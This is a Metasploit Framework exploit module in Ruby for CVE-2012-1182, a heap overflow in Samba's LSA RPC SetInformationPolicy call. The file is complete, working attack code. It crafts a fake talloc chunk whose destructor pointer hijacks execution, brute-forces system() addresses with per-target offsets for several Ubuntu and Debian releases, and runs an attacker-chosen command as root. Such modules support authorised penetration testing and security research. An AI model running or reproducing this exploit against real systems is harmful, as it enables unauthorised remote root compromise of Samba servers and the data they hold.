## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::DCERPC include Msf::Exploit::Remote::SMB include Msf::Exploit::Brute def initialize(info = {}) super(update_info(info, 'Name' => 'Samba SetInformationPolicy AuditEventsInfo Heap Overflow', 'Description' => %q{ This module triggers a vulnerability in the LSA RPC service of the Samba daemon because of an error on the PIDL auto-generated code. Making a specially crafted call to SetInformationPolicy to set a PolicyAuditEventsInformation allows to trigger a heap overflow and finally execute arbitrary code with root privileges. The module uses brute force to guess the system() address and redirect flow there in order to bypass NX. The start and stop addresses for brute forcing have been calculated empirically. On the other hand the module provides the StartBrute and StopBrute which allow the user to configure his own addresses. }, 'Author' => [ 'Unknown', # Vulnerability discovery 'blasty', # Exploit 'mephos', # Debian Squeeze target 'sinn3r', # Metasploit module 'juan vazquez' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2012-1182'], ['OSVDB', '81303'], ['BID', '52973'], ['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-069/'] ], 'Privileged' => true, 'Payload' => { 'DisableNops' => true, 'Space' => 811, 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic bash telnet python perl' } }, 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Targets' => [ # gdb /usr/sbin/smbd `ps auwx | grep smbd | grep -v grep | head -n1 | awk '{ print $2 }'` <<< `echo -e "print system"` | grep '$1' ['2:3.5.11~dfsg-1ubuntu2 and 2:3.5.8~dfsg-1ubuntu2 on Ubuntu 11.10', { 'Offset' => 0x11c0, 'Bruteforce' => { # The start for the final version should be 0xb20 aligned, and then step 0x1000. 'Start' => { 'Ret' => 0x00230b20 }, 'Stop' => { 'Ret' => 0x22a00b20 }, 'Step' => 0x1000 } } ], ['2:3.5.8~dfsg-1ubuntu2 and 2:3.5.4~dfsg-1ubuntu8 on Ubuntu 11.04', { 'Offset' => 0x11c0, 'Bruteforce' => { # The start should be 0x950 aligned, and then step 0x1000. 'Start' => { 'Ret' => 0x00230950 }, 'Stop' => { 'Ret' => 0x22a00950 }, 'Step' => 0x1000 } } ], ['2:3.5.4~dfsg-1ubuntu8 on Ubuntu 10.10', { 'Offset' => 0x11c0, 'Bruteforce' => { # The start should be 0x680 aligned, and then step 0x1000. 'Start' => { 'Ret' => 0x00230680 }, 'Stop' => { 'Ret' => 0x22a00680 }, 'Step' => 0x1000 } } ], ['2:3.5.6~dfsg-3squeeze6 on Debian Squeeze', { 'Offset' => 0x11c0, 'Bruteforce' => { # The start should be 0x680 aligned, and then step 0x1000. 'Start' => { 'Ret' => 0xb6aaa1b0 }, 'Stop' => { 'Ret' => 0xb6ce91b0 }, 'Step' => 0x1000 } } ] ], 'DisclosureDate' => 'Apr 10 2012', 'DefaultTarget' => 0 )) register_options([ OptInt.new("StartBrute", [ false, "Start Address For Brute Forcing" ]), OptInt.new("StopBrute", [ false, "Stop Address For Brute Forcing" ]) ], self.class) end def exploit if target.bruteforce? bf = target.bruteforce if datastore['StartBrute'] and datastore['StartBrute'] > 0 bf.start_addresses['Ret'] = datastore['StartBrute'] end if datastore['StopBrute'] and datastore['StopBrute'] > 0 bf.stop_addresses['Ret'] = datastore['StopBrute'] end if bf.start_addresses['Ret'] > bf.stop_addresses['Ret'] raise ArgumentError, "StartBrute should not be larger than StopBrute" end end super end def check begin connect() smb_login() disconnect() version = smb_peer_lm().scan(/Samba (\d\.\d.\d*)/).flatten[0] minor = version.scan(/\.(\d*)$/).flatten[0].to_i print_status("Version found: #{version}") return Exploit::CheckCode::Appears if version =~ /^3\.4/ and minor < 16 return Exploit::CheckCode::Appears if version =~ /^3\.5/ and minor < 14 return Exploit::CheckCode::Appears if version =~ /^3\.6/ and minor < 4 return Exploit::CheckCode::Safe rescue ::Exception return CheckCode::Unknown end end def brute_exploit(target_addrs) print_status("Trying to exploit Samba with address 0x%.8x..." % target_addrs['Ret']) datastore['DCERPC::fake_bind_multi'] = false datastore['DCERPC::max_frag_size'] = 4248 pipe = "lsarpc" print_status("Connecting to the SMB service...") connect() print_status("Login to the SMB service...") smb_login() handle = dcerpc_handle('12345778-1234-abcd-ef00-0123456789ab', '0.0', 'ncacn_np', ["\\#{pipe}"]) print_status("Binding to #{handle} ...") dcerpc_bind(handle) print_status("Bound to #{handle} ...") stub = "X" * 20 cmd = ";;;;" # padding cmd << "#{payload.encoded}\x00" # system argument tmp = cmd * (816/cmd.length) tmp << "\x00"*(816-tmp.length) stub << NDR.short(2) # level stub << NDR.short(2) # level 2 stub << NDR.long(1) # auditing mode stub << NDR.long(1) # ptr stub << NDR.long(100000) # r-> count stub << NDR.long(20) # array size stub << NDR.long(0) stub << NDR.long(100) stub << rand_text_alpha(target['Offset']) # Crafted talloc chunk stub << 'A' * 8 # next, prev stub << NDR.long(0) + NDR.long(0) # parent, child stub << NDR.long(0) # refs stub << NDR.long(target_addrs['Ret']) # destructor # will become EIP stub << NDR.long(0) # name stub << "AAAA" # size stub << NDR.long(0xe8150c70) # flags stub << "AAAABBBB" stub << tmp # pointer to tmp+4 in $esp stub << rand_text(32632) stub << rand_text(62000) print_status("Calling the vulnerable function...") begin call(dcerpc, 0x08, stub) rescue Rex::Proto::DCERPC::Exceptions::NoResponse, Rex::Proto::SMB::Exceptions::NoReply, ::EOFError print_status('Server did not respond, this is expected') rescue Rex::Proto::DCERPC::Exceptions::Fault print_error('Server is most likely patched...') rescue => e if e.to_s =~ /STATUS_PIPE_DISCONNECTED/ print_status('Server disconnected, this is expected') end end handler disconnect end # Perform a DCE/RPC Function Call def call(dcerpc, function, data, do_recv = true) frag_size = data.length if dcerpc.options['frag_size'] frag_size = dcerpc.options['frag_size'] end object_id = '' if dcerpc.options['object_call'] object_id = dcerpc.handle.uuid[0] end if options['random_object_id'] object_id = Rex::Proto::DCERPC::UUID.uuid_unpack(Rex::Text.rand_text(16)) end call_packets = make_request(function, data, frag_size, dcerpc.context, object_id) call_packets.each { |packet| write(dcerpc, packet) } return true if not do_recv raw_response = '' begin raw_response = dcerpc.read() rescue ::EOFError raise Rex::Proto::DCERPC::Exceptions::NoResponse end if (raw_response == nil or raw_response.length == 0) raise Rex::Proto::DCERPC::Exceptions::NoResponse end dcerpc.last_response = Rex::Proto::DCERPC::Response.new(raw_response) if dcerpc.last_response.type == 3 e = Rex::Proto::DCERPC::Exceptions::Fault.new e.fault = dcerpc.last_response.status raise e end dcerpc.last_response.stub_data end # Used to create standard DCERPC REQUEST packet(s) def make_request(opnum=0, data="", size=data.length, ctx=0, object_id = '') opnum = opnum.to_i size = size.to_i ctx = ctx.to_i chunks, frags = [], [] ptr = 0 # Break the request into fragments of 'size' bytes while ptr < data.length chunks.push( data[ ptr, size ] ) ptr += size end # Process requests with no stub data if chunks.length == 0 frags.push( Rex::Proto::DCERPC::Packet.make_request_chunk(3, opnum, '', ctx, object_id) ) return frags end # Process requests with only one fragment if chunks.length == 1 frags.push( Rex::Proto::DCERPC::Packet.make_request_chunk(3, opnum, chunks[0], ctx, object_id) ) return frags end # Create the first fragment of the request frags.push( Rex::Proto::DCERPC::Packet.make_request_chunk(1, opnum, chunks.shift, ctx, object_id) ) # Create all of the middle fragments while chunks.length != 1 frags.push( Rex::Proto::DCERPC::Packet.make_request_chunk(0, opnum, chunks.shift, ctx, object_id) ) end # Create the last fragment of the request frags.push( Rex::Proto::DCERPC::Packet.make_request_chunk(2, opnum, chunks.shift, ctx, object_id) ) return frags end # Write data to the underlying socket def write(dcerpc, data) dcerpc.socket.write(data) data.length end end